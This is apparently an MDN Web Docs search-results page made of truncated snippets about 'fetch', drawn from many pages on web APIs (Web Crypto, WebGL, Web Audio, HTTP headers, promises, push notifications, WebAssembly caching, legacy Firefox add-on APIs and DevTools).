...evalue.classlist.remove("valid", "invalid"); let encoded = getmessageencoding(); let result = await window.crypto.subtle.verify( { name: "rsa-pss", saltlength: 32, }, publickey, signature, encoded ); signaturevalue.classlist.add(result ? "valid" : "invalid"); } ecdsa this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".ecdsa #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set the...
....classlist.remove("valid", "invalid"); let encoded = getmessageencoding(); let result = await window.crypto.subtle.verify( { name: "ecdsa", hash: {name: "sha-384"}, }, publickey, signature, encoded ); signaturevalue.classlist.add(result ? "valid" : "invalid"); } hmac this code uses a secret key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebox = document.queryselector(".hmac #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set ...
WebGL best practices - Web APIs
firefox, setting the pref webgl.perf.max-warnings to -1 in about:config will enable performance warnings that include warnings about fb completeness invalidations. and to a lesser degree, vao attachments (vertexattribpointer, disable/enablevertexattribarray) drawing from static, unchanging vaos is faster than mutating the same vao for every draw call. for unchanged vaos, browsers can cache the fetch limits, whereas when vaos change, browsers must revalidate and recalculate limits. the overhead for this is relatively low, but re-using vaos means fewer vertexattribpointer calls too, so it's worth doing wherever it's easy. delete objects eagerly don't wait for the garbage collector/cycle collector to realize objects are orphaned and destroy them. implementations track the liveness of objects,...
...take as long as 1ms, but they can take even longer if they need to wait for all graphics work to be completed (with an effect similar to glfinish() in native opengl). in production code, avoid such entry points, especially on the browser main thread where they can cause the entire page to jank (often including scrolling or even the whole browser). geterror(): causes a flush + round-trip to fetch errors from the gpu process). for example, within firefox, the only time glgeterror is checked is after allocations (bufferdata, *teximage*, texstorage*) to pick up any gl_out_of_memory errors. getshader/programparameter(), getshader/programinfolog(), other gets on shaders/programs: flush + shader compile + round-trip, if not done after shader compilation is complete. (see also parallel ...
...extures use mipmaps for any texture you'll see in 3d! when in doubt, call generatemipmaps() after texture uploads. ...
... generatemipmaps() after texture uploads. ...
Advanced techniques: Creating and sequencing audio - Web APIs
r with biquad filter now we need to make some noise! all modems have noise. noise is just random numbers when it comes to audio data, so is, therefore, a relatively straightforward thing to create with code. creating an audio buffer we need to create an empty container to put these numbers into, however, one that the web audio api understands. this is where audiobuffer objects come in. you can fetch a file and decode it into a buffer (we'll get to that later on in the tutorial), or you can create an empty buffer and fill it with your own data. for noise, let's do the latter. we first need to calculate the size of our buffer, to create it. we can use the baseaudiocontext.samplerate property for this: const buffersize = audioctx.samplerate * noiselength; const buffer = audioctx.createbuffer(...
...together using the methods we've already looked at, however, in this section, we'll load in a sample file instead so we can take a look at what's involved. loading the sample we want to make sure our file has loaded and been decoded into a buffer before we use it, so let's create an async function to allow us to do this: async function getfile(audiocontext, filepath) { const response = await fetch(filepath); const arraybuffer = await response.arraybuffer(); const audiobuffer = await audiocontext.decodeaudiodata(arraybuffer); return audiobuffer; } we can then use the await operator when calling this function, which ensures that we can only run subsequent code when it has finished executing. let's create another async function to set up the sample — we can combine the two async fun...
...setupsample() like so: setupsample() .then((sample) => { // sample is our buffered file // ... }); when the sample is ready to play, the program sets up the ui so it is ready to go. playing the sample let's create a playsample() function in a similar manner to how we did with the other sounds. ...
..., 1)'; el.children[drawnote].style.bordercolor = 'hsla(49, 99%, 50%, 1)'; }); lastnotedrawn = drawnote; } // set up to draw again requestanimationframe(draw); } putting it all together now all that's left to do is make sure we've loaded the sample before we are able to play the instrument. we'll add a loading screen that disappears when the file has been fetched and decoded, then we can allow the scheduler to start using the play button click event. // when the sample has loaded allow play let loadingel = document.queryselector('.loading'); const playbutton = document.queryselector('[data-playing]'); let isplaying = false; setupsample() .then((sample) => { loadingel.style.display = 'none'; // remove loading screen dtmf = sample; /...
<video>: The Video Embed element - HTML: Hypertext Markup Language
Web › HTML › Element › video
controls to show on the media element whenever the browser shows its own set of controls (e.g. when the controls attribute is specified). the allowed values are nodownload, nofullscreen and noremoteplayback. use the disablepictureinpicture attribute if you want to disable the picture-in-picture mode (and the control). crossorigin this enumerated attribute indicates whether to use cors to fetch the related image. cors-enabled resources can be reused in the <canvas> element without being tainted. the allowed values are: anonymous sends a cross-origin request without a credential. in other words, it sends the origin: http header without a cookie, x.509 certificate, or performing http basic authentication. if the server does not give credentials to the origin site (by not setting the...
...icted. use-credentials sends a cross-origin request with a credential. in other words, it sends the origin: http header with a cookie, a certificate, or performing http basic authentication. if the server does not give credentials to the origin site (through access-control-allow-credentials: http header), the image will be tainted and its usage restricted. when not present, the resource is fetched without a cors request (i.e. without sending the origin: http header), preventing its non-tainted used in <canvas> elements. if invalid, it is handled as if the enumerated keyword anonymous was used. see cors settings attributes for additional information. currenttime reading currenttime returns a double-precision floating-point value indicating the current playback position of the media sp...
...s the poster frame. preload this enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience with regards to what content is loaded before the video is played. it may have one of the following values: none: indicates that the video should not be preloaded. metadata: indicates that only video metadata (e.g. length) is fetched. auto: indicates that the whole video file can be downloaded, even if the user is not expected to use it. empty string: synonym of the auto value. the default value is different for each browser. the spec advises it to be set to metadata. note: the autoplay attribute has precedence over preload. if autoplay is specified, the browser would obviously need to start downloading the v...
... play playback has begun. playing playback is ready to start after having been paused or delayed due to lack of data. progress fired periodically as the browser loads a resource. ratechange the playback rate has changed. seeked a seek operation completed. seeking a seek operation began. stalled the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. suspend media data loading has been suspended. timeupdate the time indicated by the currenttime attribute has been updated. volumechange the volume has changed. waiting playback has stopped because of a temporary lack of data usage notes browsers don't all support the same video formats; ...
Index - HTTP
Web › HTTP › Headers › Index
quest header the accept request http header advertises which content types, expressed as mime types, the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header. browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script. 3 accept-charset content negotiation, http, http header, reference, request header the accept-charset request http header advertises which character set the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it a...
...t-src csp, directive, http, reference, security the http content-security-policy (csp) connect-src directive restricts the urls which can be loaded using script interfaces. the apis that are restricted are: 33 csp: default-src csp, directive, http, reference, security the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives. for each of the following directives that are absent, the user agent will look for the default-src directive and will use this value for it: 34 csp: font-src csp, directive, http, reference, security the http content-security-policy (csp) font-src directive specifies valid sources for fonts loaded using @font-face. 35 csp: form-action csp, directive...
...r if-unmodified-since headers make use of this field. 86 location http, http header, reference, response header the location response header indicates the url to redirect a page to. it only provides a meaning when served with a 3xx (redirection) or 201 (created) status response. 87 origin http, reference, header the origin request header indicates where a fetch originates from. it doesn't include any path information, but only the server name. it is sent with cors requests, as well as with post requests. it is similar to the referer header, but, unlike this header, it doesn't disclose the whole path. 88 pragma caching, deprecated, http, header, request the pragma http/1.0 general header is an implementation-specific header that may ...
... http, http header, reference, response header the x-content-type-options response http header is a marker used by the server to indicate that the mime types advertised in the content-type headers should not be changed and be followed. this allows to opt-out of mime type sniffing, or, in other words, it is a way to say that the webmasters knew what they were doing. 117 x-dns-prefetch-control dns, http, header the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth. 118 x-forwarded-for http, http header, non-standard...
A typical HTTP session - HTTP
Web › HTTP › Session
be performed any number of times. establishing a connection in client-server protocols, it is the client which establishes the connection. opening a connection in http means initiating a connection in the underlying transport layer, usually this is tcp. with tcp the default port, for an http server on a computer, is port 80. other ports can also be used, like 8000 or 8080. ...
... sending a client request once the connection is established, the user-agent can send the request (a user-agent is typically a web browser, but can be anything else, a crawler, for example). ...
...p header, giving the server information about what type of data is appropriate (e.g., what language, what mime types), or other data altering its behavior (e.g., not sending an answer if it is already cached). these http headers form a block which ends with an empty line. the final block is an optional data block, which may contain further data mainly used by the post method. example requests fetching the root page of developer.mozilla.org, i.e. http://developer.mozilla.org/, and telling the server that the user-agent would prefer the page in french, if possible: get / http/1.1 host: developer.mozilla.org accept-language: fr observe that final empty line, this separates the data block from the header block. as there is no content-length provided in an http header, this data block is pres...
...(contains a site-customized page helping the user to find the missing resource) notification that the requested resource doesn't exist: http/1.1 404 not found...
Promise.prototype.then() - JavaScript
{ // makes .then() return a rejected promise throw new error('oh no!'); }) .catch(error => { console.error('onrejected function called: ' + error.message); }) .then(() => { console.log("i am always called even if the prior then's promise rejects"); }); you can also use chaining to implement one function with a promise-based api on top of another such function. ...
...rejected promise throw new error('oh no!'); }) .catch(error => { console.error('onrejected function called: ' + error.message); }) .then(() => { console.log("i am always called even if the prior then's promise rejects"); }); you can also use chaining to implement one function with a promise-based api on top of another such function. function fetch_current_data() { // the fetch() api returns a promise. ...
... am always called even if the prior then's promise rejects"); }); you can also use chaining to implement one function with a promise-based api on top of another such function. function fetch_current_data() { // the fetch() api returns a promise. this function // exposes a similar api, except the fulfillment // value of this function's promise has had more // work done on it. ...
...similar api, except the fulfillment // value of this function's promise has had more // work done on it. return fetch('current-data.json').then(response => { if (response.headers.get('content-type') != 'application/json') { throw new typeerror(); } var j = response.json(); // maybe do something with j return j; // fulfillment value given to user of // fetch_current_data().then() }); } if onfulfilled returns a promise, the return value of then will be resolved/rejected by the promise. function resolvelater(resolve, reject) { settimeout(function() { resolve(10); }, 1000); } function rejectlater(resolve, reject) { settimeout(function() { reject(new error('error')); }, 1000); } var p1 = promise.resolve('foo'); var p2 = p1.then(func...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
we use the registration object to subscribe, and then use the resulting subscription object to complete the whole process. in the registration part, the code looks like this: if(subscription) { return subscription; } if the user has already subscribed, we then return the subscription object and move to the subscription part. if not, we initialize a new subscription: const response = await fetch('./vapidpublickey'); const vapidpublickey = await response.text(); const convertedvapidkey = urlbase64touint8array(vapidpublickey); the app fetches the server's public key and converts the response to text; then it needs to be converted to a uint8array (to support chrome). to learn more about vapid keys you can read the sending vapid identified webpush notifications via mozilla’s push service ...
...tions sent to the user will be visible to them, and the second one is the applicationserverkey, which contains our successfully acquired and converted vapid key. return registration.pushmanager.subscribe({ uservisibleonly: true, applicationserverkey: convertedvapidkey }); now let's move to the subscription part — the app first sends the subscription details as json to the server using fetch. ...
...nt to the user will be visible to them, and the second one is the applicationserverkey, which contains our successfully acquired and converted vapid key. return registration.pushmanager.subscribe({ uservisibleonly: true, applicationserverkey: convertedvapidkey }); now let's move to the subscription part — the app first sends the subscription details as json to the server using fetch. ...
... subscription: subscription }), }); then the globaleventhandlers.onclick function on the subscribe button is defined: document.getelementbyid('doit').onclick = function() { const payload = document.getelementbyid('notification-payload').value; const delay = document.getelementbyid('notification-delay').value; const ttl = document.getelementbyid('notification-ttl').value; fetch('./sendnotification', { method: 'post', headers: { 'content-type': 'application/json' }, body: json.stringify({ subscription: subscription, payload: payload, delay: delay, ttl: ttl, }), }); }; when the button is clicked, fetch asks the server to send the notification with the given parameters:...
Caching compiled WebAssembly modules - WebAssembly
eable object. this includes compiled wasm modules (webassembly.module javascript objects). setting up a caching library because indexeddb is a somewhat old-fashioned api, we wanted to provide a library function to speed up writing caching code, and make it work better along with today's more modern apis. in our wasm-utils.js library script, you'll find instantiatecachedurl() — this function fetches the wasm module at url with a version of dbversion, instantiates it with the given importobject, and returns a promise resolving to the finished wasm instance. additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves previously cached modules from the database, saving you from having to download them again. ...
...e do, we instantiate it with the given import object: console.log(`found ${url} in wasm cache`); return webassembly.instantiate(module, importobject); }, if not, we compile it from scratch and then store the compiled module in the database with a key of url, for next time we want to use it: errmsg => { console.log(errmsg); return webassembly.instantiatestreaming(fetch(url)).then(results => { storeindatabase(db, results.module); return results.instance; }); }) }, note: it is for this kind of usage that webassembly.instantiate() returns both a module and an instance: the module represents the compiled code and can be stored/retrieved in idb or shared between workers via postmessage(); the instance is stateful and contains the callab...
...that webassembly.instantiate() returns both a module and an instance: the module represents the compiled code and can be stored/retrieved in idb or shared between workers via postmessage(); the instance is stateful and contains the callable javascript functions, therefore it cannot be stored/shared. ...
... is stateful and contains the callable javascript functions, therefore it cannot be stored/shared. if opening the database failed (for example due to permissions or quota), we fall back to simply fetching and compiling the module and don't try to store the results (since there is no database to store them into). ...
remote/parent - Archive of obsolete content
cts the things that code running in child processes is allowed to do. for example, when the child process is sandboxed, modules won't be able to access the file system. we don't yet have a full list of all the modules that a module in the child process can't load, but the sorts of things listed in limitations of frame scripts broadly apply. ...
...child process can't load, but the sorts of things listed in limitations of frame scripts broadly apply. examples property retrieval this first example shows fetching a simple property from every existing and future process. remote.js runs in all child processes. ...
..."sdk/system/runtime"); process.port.on("fetchid", () => { process.port.emit("id", processid); }); // main.js const { processes, remoterequire } = require("sdk/remote/parent"); // load "remote.js" into every current and future process remoterequire("./remote.js", module); // for every current and future process processes.forevery(process => { // ask for the process id process.port.emit("fetchid"); // first argument is always the process, then the message payload process.port.once("id", (process, id) => { console.log("child process is remote:" + process.isremote); console.log("child process id:" + id); }); }); content frame manipulation this demonstrates telling every current frame to link to a specific anchor element: // remote.js const { frames } = require("sdk/remo...
File I/O - Archive of obsolete content
iuri; to get the string "file://...", see url.spec to get an nsifile from the 'file://' url, use nsifileurl: // url is a nsiuri; see nsiioservice::newuri for getting a string into a nsiuri. var file = url.queryinterface(components.interfaces.nsifileurl).file; // file is a nsifile to load from file://, http://, chrome://, resource:// and other urls directly, use xmlhttprequest or netutil.asyncfetch(). also note that generally you don't need to use nsifile::path. use nsifile directly wherever possible. an example below shows how you should save a path in user prefs. storing nsifile in preferences the following two snippets show the right way to store a file path in user preferences (more about preferences in mozilla): absolute path (nsifile) to store an arbitrary path in user preference...
... allow you to read a file without locking up the ui thread while reading. please note that some i/o, such as getting file information and opening the file can still happen on the main thread and therefore block the ui for periods of time. this sample code uses netutil.jsm. so therefore for the first parameter, file, you can pass an nsifile object or a string (such as a jar path) see: netutil.asyncfetch: components.utils.import("resource://gre/modules/netutil.jsm"); netutil.asyncfetch(file, function(inputstream, status) { if (!components.issuccesscode(status)) { // handle error! return; } // the file data is contained within inputstream. // you can read it into a string with var data = netutil.readinputstreamtostring(inputstream, inputstream.available()); }); read with con...
...p (which would be synchronous i/o). in this case an nsichannel object has to be explicitly created from the file: components.utils.import("resource://gre/modules/netutil.jsm"); // content type hint is useful on mobile platforms where the filesystem // would otherwise try to determine the content type. var channel = netutil.newchannel(file); channel.contenttype = "application/json"; netutil.asyncfetch(channel, function(inputstream, status) { ... }); writing to a file write a string this sample uses netutil.jsm and fileutils.jsm. components.utils.import("resource://gre/modules/netutil.jsm"); components.utils.import("resource://gre/modules/fileutils.jsm"); // file is nsifile, data is a string // you can also optionally pass a flags parameter here. it defaults to // fileutils.mode_wronly...
How to convert an overlay extension to restartless - Archive of obsolete content
? the answer to that question is to load your file from a chrome:// uri using xmlhttprequest. you may now have another question: wait, what does this have to do with xml or http? the answer to that question is, of course, nothing. xmlhttprequest is an api created by microsoft, adopted by mozilla and other vendors, and hacked into a swiss army knife of file loading. ...
... uri using xmlhttprequest. you may now have another question: wait, what does this have to do with xml or http? ...
... vendors, and hacked into a swiss army knife of file loading. you can use it in a web page to fetch a file from your server and you can use it in your add-on to fetch a local file from your installation. the name is a vestigial structure that just makes things confusing. it is nonetheless the "correct" and best way to do things. ...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
running either windows or linux systems (i suspect mac osx would be fine too). instead of configuring end user individual preferences files (~/.mozilla/default/randomdir/prefs.js) we now use a centralized default set of preferences. this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, common name , language, homepage etc...) from the enterprise directory. central configuration file that feature is provided through a javascript file. file location (not tested since 2012 ...) in thunderbird , firefox, the javascript preference file that calls the centralized preference file is located in $install_dir_moz_app/defaults/pref, for example in thunderbird this would...
... config( "autoadmin.global_config_url", "http://" + ldap_http_server + \ ldap_http_unix_uri + "" ); // since we use a file, if it's not accessible, something is // terribly wrong anyway config( "autoadmin.failover_to_cached", false ); ...
... config( "autoadmin.global_config_url", "http://" + ldap_http_server + \ ldap_http_unix_uri + "" ); // since we use a file, if it's not accessible, something is // terribly wrong anyway config( "autoadmin.failover_to_cached", false ); // don't use ?useremail=email-addr to cgi url request config( "autoadmin.ap...
Using workers in extensions - Archive of obsolete content
ng a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support multiple mozilla applications download the sample you may download the complete example: download the example. how this differs from previous versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar. this demonstrates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data back and forth. the worker the worker thread's job in this ...
... which then passes that information back to the main body of the extension's code to update the display in the status bar. this demonstrates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data back and forth. the worker the worker thread's job in this example is to issue the xmlhttprequest calls that fetch the updated stock information. that's all it does. every 10 minutes, it calls xmlhttprequest, and, when the results are received, sends an event back to the main thread with the received data. so we need to move the refreshinformation() method from the stockwatcher2.js file into a separate file that will host the worker thread. that file, ticker_worker.js, is shown here: var symbol = ""; funct...
... the worker's onmessage event handler to a function which looks at the event passed into it, and does one of two things: if there is a data field on the event, the stock symbol being tracked is set to the upper case version of that value. this is used to initialize the worker, and to change which stock is being monitored. if there is no data field, the refreshinformation() method is called to fetch the latest information about the stock and pass it back to the main thread. this provides a way for the main thread to specifically request that the worker update the stock information at once. the refreshinformation() method is fairly similar to the previous versions, with two notable exceptions: if the ticker symbol has not been set yet, an exception is thrown (lines 4-6). when the result...
Audio for Web games - Game development
ly filters or effects to music. is your character in a cave? increase the echo. maybe you have underwater scenes, during which you could apply a filter that muffles the sound. let's look at some web audio api techniques for dynamically adjusting music from its base tracks. loading your tracks with the web audio api you can load separate tracks and loops individually using xmlhttprequest or the fetch api, which means you can load them synchronously or in parallel. loading synchronously might mean parts of your music are ready earlier and you can start playing them while others load. either way you may want to synchronize tracks or loops. the web audio api contains the notion of an internal clock that starts ticking the moment you create an audio context. you'll need to take account of the ti...
...ect all the <li> elements; later we can harness these elements to give us access to the track file path and each individual play button. const trackels = document.queryselectorall('li'); we want to make sure each file has loaded and been decoded into a buffer before we use it, so let's create an async function to allow us to do this: async function getfile(filepath) { const response = await fetch(filepath); const arraybuffer = await response.arraybuffer(); const audiobuffer = await audioctx.decodeaudiodata(arraybuffer); return audiobuffer; } we can then use the await operator when calling this function, which ensures that we can run subsequent code when it has finished executing. let's create another async function to set up the sample — we can combine the two async functions i...
... it has finished executing. let's create another async function to set up the sample — we can combine the two async functions in a nice promise pattern to perform further actions when each file is loaded and buffered: async function loadfile(filepath) { const track = await getfile(filepath); return track; } let's also create a playtrack() function, which we can call once a file has been fetched. we need an offset here, so if we have started one file playing, we have a record of how far through to start another file. start() takes two optional parameters. the first is when to commence playback and the second is where, which is our offset. let offset = 0; function playtrack(audiobuffer) { const tracksource = audioctx.createbuffersource(); tracksource.buffer = audiobuffer; track...
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
a forbidden header name is the name of any http header that cannot be modified programmatically; specifically, an http request header name (in contrast with a forbidden response header name). modifying such headers is forbidden because the user agent retains full control over them. names starting with `sec-` are reserved for creating new headers safe from apis using fetch that grant developers control over headers, such as xmlhttprequest. forbidden header names start with proxy- or sec-, or are one of the following names: accept-charset accept-encoding access-control-request-headers access-control-request-method connection content-length cookie cookie2 date dnt expect feature-policy host keep-alive origin proxy- sec- referer te trailer transfer-encoding upgrade...
... ...
... ...
Client-Server Overview - Learn web development
sites a dynamic site is one that can generate and return content based on the specific request url and data (rather than always returning the same hard-coded file for a particular url). using the example of a product site, the server would store product "data" in a database rather than individual html files. when receiving an http get request for a product, the server determines the product id, fetches the data from the database, and then constructs the html page for the response by inserting the data into an html template. this has major advantages over a static site: using a database allows the product information to be stored efficiently in an easily extensible, modifiable, and searchable way. using html templates makes it very easy to change the html structure, because this only needs t...
...e form with the team name and number of players, the sequence of operations is: the web browser creates an http get request to the server using the base url for the resource (/best) and encoding the team and player number either as url parameters (e.g. /best?team=my_team_name&show=11) or as part of the url pattern (e.g. /best/my_team_name/11/). a get request is used because the request is only fetching data (not modifying data). the web server detects that the request is "dynamic" and forwards it to the web application for processing (the web server determines how to handle different urls based on pattern matching rules defined in its configuration). the web application identifies that the intention of the request is to get the "best team list" based on the url (/best/) and finds out the r...
...need to know how regular expressions work at this point, other than that they allow us to match patterns in the url (rather than the hard coded values above) and use them as parameters in our view functions. as an example, a really simple regex might say "match a single uppercase letter, followed by between 4 and 7 lower case letters." the web framework also makes it easy for a view function to fetch information from the database. the structure of our data is defined in models, which are python classes that define the fields to be stored in the underlying database. if we have a model named team with a field of "team_type" then we can use a simple query syntax to get back all teams that have a particular type. the example below gets a list of all teams that have the exact (case sensitive) tea...
L20n Javascript API
anguages(function(allavailable) { var fallbackchain = yourapp.intersect(allavailable, requested); cb(fallbackchain); }); }); ctx.requestlocales(...requestedlocales: string?) specify the user's preferred locales for the context instance to negotiate against and freeze the context instance. when a context instance is frozen, no more resources can be added or linked. all io related to fetching the resource files takes place when a context instance freezes. when all resources have been fetched, parsed and compiled, the context instance will emit a ready event. the final list of locales supported by the context instance will be negotiated asynchronously by the negotiator registered by registerlocalenegotiator. ctx.requestlocales('pl'); ctx.requestlocales('fr-ca', 'fr'); if r...
...stance will try to retrieve a fallback translation from the next locale in the fallback chain, parser.error, when l20n is unable to parse the syntax of a resource; this might result in entities being broken which in turn can lead to above error being emitted. ...
...ad to above error being emitted. warning - fired when a less serious error occurs from which the context instance can recover gracefully and try to fetch a translations from a fallback locale. the error object is passed as the first argument to callback and can be one of the following: context.error, when there are problems with setting up resources (e.g. ...
NSS_3.12_release_notes.html
cryptohi.h) new macros for camellia support (see blapit.h): nss_camellia nss_camellia_cbc camellia_block_size new macros for rsa (see blapit.h): rsa_max_modulus_bits rsa_max_exponent_bits new macros in certt.h: x.509 v3 ku_encipher_only cert_max_serial_number_bytes cert_max_dn_bytes pkix cert_rev_m_do_not_test_using_this_method cert_rev_m_test_using_this_method cert_rev_m_allow_network_fetching cert_rev_m_forbid_network_fetching cert_rev_m_allow_implicit_default_source cert_rev_m_ignore_implicit_default_source cert_rev_m_skip_test_on_missing_source cert_rev_m_require_info_on_missing_source cert_rev_m_ignore_missing_fresh_info cert_rev_m_fail_on_missing_fresh_info cert_rev_m_stop_testing_on_fresh_info cert_rev_m_continue_testing_on_fresh_info cert_rev_mi_test_each_method_separately ce...
... in pkcs11n.h, all the _netscape_ macros are renamed with _nss_ for example, cko_netscape_crl becomes cko_nss_crl. new for pkcs #11 (see pkcs11t.h for details): ckk: keys ckk_camellia ckm: mechanisms ckm_sha224_rsa_pkcs ckm_sha224_rsa_pkcs_pss ckm_sha224 ckm_sha2...
... in pkcs11n.h, all the _netscape_ macros are renamed with _nss_ for example, cko_netscape_crl becomes cko_nss_crl. new for pkcs #11 (see pkcs11t.h for details): ckk: keys ckk_camellia ckm: mechanisms ckm_sha224_rsa_pkcs ckm_sha224_rsa_pkcs_pss ckm_sha224 ckm_sha224_hmac ckm_sha224_hmac...
nsICachingChannel
the session into which to cache offline data. if not specified, data will be placed in "http-offline". offlinecachetoken nsisupports the same as cachetoken but accessing the offline app cache token if there is any. exceptions thrown ns_error_not_available when there is not offline cache token. constants constant value description load_no_network_io 1 << 26 this load flag inhibits fetching from the net. an error of ns_error_document_not_cached will be sent to the listener's onstoprequest if network io is necessary to complete the request. this flag can be used to find out whether fetching this url would cause validation of the cache entry via the network. combining this flag with load_bypass_local_cache will cause all loads to fail. this flag differs from load_only_from_cache in...
...rl would cause validation of the cache entry via the network. combining this flag with load_bypass_local_cache will cause all loads to fail. this flag differs from load_only_from_cache in that this flag fails the load if validation is required while load_only_from_cache skips validation where possible. load_check_offline_cache 1 << 27 this load flag causes the offline cache to be checked when fetching a request. it will be set automatically if the browser is offline. this flag will not be transferred through a redirect. load_bypass_local_cache 1 << 28 this load flag causes the local cache to be skipped when fetching a request. unlike load_bypass_cache, it does not force an end-to-end load (that is, it does not affect proxy caches). load_bypass_local_cache_if_busy 1 << 29 this load fla...
...an error of ns_error_document_not_cached will be sent to the listener's onstoprequest in this case. this flag is set automatically when the application is offline. ...
nsIDOMOfflineResourceList
; attributes attribute type description mozitems nsidomofflineresourcelist the list of dynamically-managed entries in the offline resource list. read only. mozlength unsigned long the number of entries in the dynamically managed offline resource list. read only. onchecking nsidomeventlistener an event listener to be called when fetching the application cache manifest and checking for updates. onerror nsidomeventlistener an event listener to be called when an error occurs during the caching process. onnoupdate nsidomeventlistener an event listener to be called when there is no update to download. ondownloading nsidomeventlistener an event listener to be called when resources are bei...
...ion cache state constants indicating the status of the application cache. constants application cache state constants constant value description uncached 0 the object isn't associated with an application cache. idle 1 the application cache is not in the process of being updated. ...
... void mozadd( in domstring uri ); parameters uri the uri of the resource to add to the list. mozhasitem returns a boolean value indicating whether or not the specified uri represents a resource that's in the application cache's list. note: this method has been deprecated. you should use the mozitems attribute instead. ...
nsIFaviconService
ibutes attribute type description defaultfavicon nsiuri the default favicon uri. read only. methods addfailedfavicon() this method adds a given favicon's uri to the failed favicon cache. the lifespan of the favicon cache is up to the caching system. this cache will also be written to if you use setandloadfaviconforpage() method and it encounters an error while fetching an icon. void addfailedfavicon( in nsiuri afaviconuri ); parameters afaviconuri the uri of an icon in the favicon service. can be null. expireallfavicons() expires all known favicons, removing them from the database. note: this is an asynchronous operation; when it completes, a "places-favicons-expired" notification is dispatched through the observer's service. void expireallfavic...
...will silently succeed. void removefailedfavicon( in nsiuri afaviconuri ); parameters afaviconuri the uri of an icon in the favicon service. can be null. setandloadfaviconforpage() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0. you should use the new async api moziasyncfavicons.setandfetchfaviconforpage() instead. this method is same as setfaviconurlforpage() except that this also attempts to set the data by loading the favicon uri. an async request will be created for this uri and if the data is available, it will asynchronously get saved in the database without any further work from the caller. if the icon data already exists, we won't normally try to re-load the icon from the n...
...until this time, we won't try to load the favicon again. exceptions thrown ns_error_failure thrown if the favicon is overbloated and won't be saved to the db. setfaviconurlforpage() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0. you should use the new async api moziasyncfavicons.setandfetchfaviconforpage() instead. this method declares that a given page uses a favicon with the given uri. you needn't have any specified data at this point. an entry linking the favicon with the page will be create with no data. you can populate it later with setfavicondata(). however, any favicons not associated with a visited web page, a bookmark, or a "place:" uri will be expired when history cleanu...
DevTools API - Firefox Developer Tools
ctive tool is shown. hosttype {string} - the position the toolbox will be placed. one of bottom, side, window, custom. see hosttype for details. hostoptions {object} - an options object passed to the selected host. see hosttype for details. return value: a promise that is fulfilled with the toolbox instance once it has been initialized and the selected tool is loaded. gettoolbox(target) fetch the toolbox object for the given target. parameters: target {target} - the target the toolbox is debugging. return value: toolbox object or undefined if there's no toolbox for the given target.. closetoolbox(target) closes the toolbox for given target. parameters: target {target} - the target of the toolbox that should be closed. return value: a promise that is fulfilled once ...
...r given target. parameters: target {target} - the target of the toolbox that should be closed. return value: a promise that is fulfilled once the toolbox has been destroyed. getdefaulttools() returns an array of tooldefinition objects for the built-in tools. getadditionaltools() returns an array of tooldefinition objects for tools added by addons. gettooldefinition(toolid) fetch the tooldefinition object for a tool if it exists and is enabled. parameters: toolid {string} - the id of the tool. return value: a tooldefinition if a tool with the given id exists and is enabled, null otherwise. gettooldefinitionmap() returns a toolid → tooldefinition map for tools that are enabled. gettooldefinitionarray() returns an array of tooldefinition objects for enab...
...tring} - the id of the tool. return value: a tooldefinition if a tool with the given id exists and is enabled, null otherwise. gettooldefinitionmap() returns a toolid → tooldefinition map for tools that are enabled. gettooldefinitionarray() returns an array of tooldefinition objects for enabled tools sorted by the order they appear in the toolbox. getthemedefinition(themeid) fetch the themedefinition object for the theme with the given id. parameters: themeid {string} - the id of the theme. return value: a themedefinition object if the theme exists, null otherwise. getthemedefinitionmap() returns a toolid → themedefinition map for available themes. getthemedefinitionarray() returns an array of themedefinition objects for avialble themes. events follo...
Network request list - Firefox Developer Tools
ult. this is new in firefox 55. set-cookies: the number of response cookies associated to the request. this column is hidden by default. this is new in firefox 55. transferred: the number of bytes that were actually transferred to load the resource, or a message about why the resource was not transferred. a number value is less than size if the resource was compressed. if the resource was fetched from a service worker cache, then this cell displays "service worker". cached resources may be fetched from the cache and the network simultaneously, which may improve load time for slow caches. starting with firefox 68, the transferred column lists either "cached (raced)" or "[size] (raced)" depending on the faster source. this feature is called race cache with network (rcwn). if the res...
...rk monitor toolbar. context menu context-clicking on a row in the list displays a context menu with the following options: menuitem description copy > copy url copies the url. copy > copy as curl copies the network request to the clipboard as a curl command, so you can execute it from a command line. see copy as curl, below. copy > copy as fetch copies the request as a call to the fetch() method, including the url and any settings object. copy > copy request headers copies the request's header to the clipboard. copy > copy response headers copies the headers of the response for this request, to the clipboard. copy > copy response copies the entire response that was sent for this request. co...
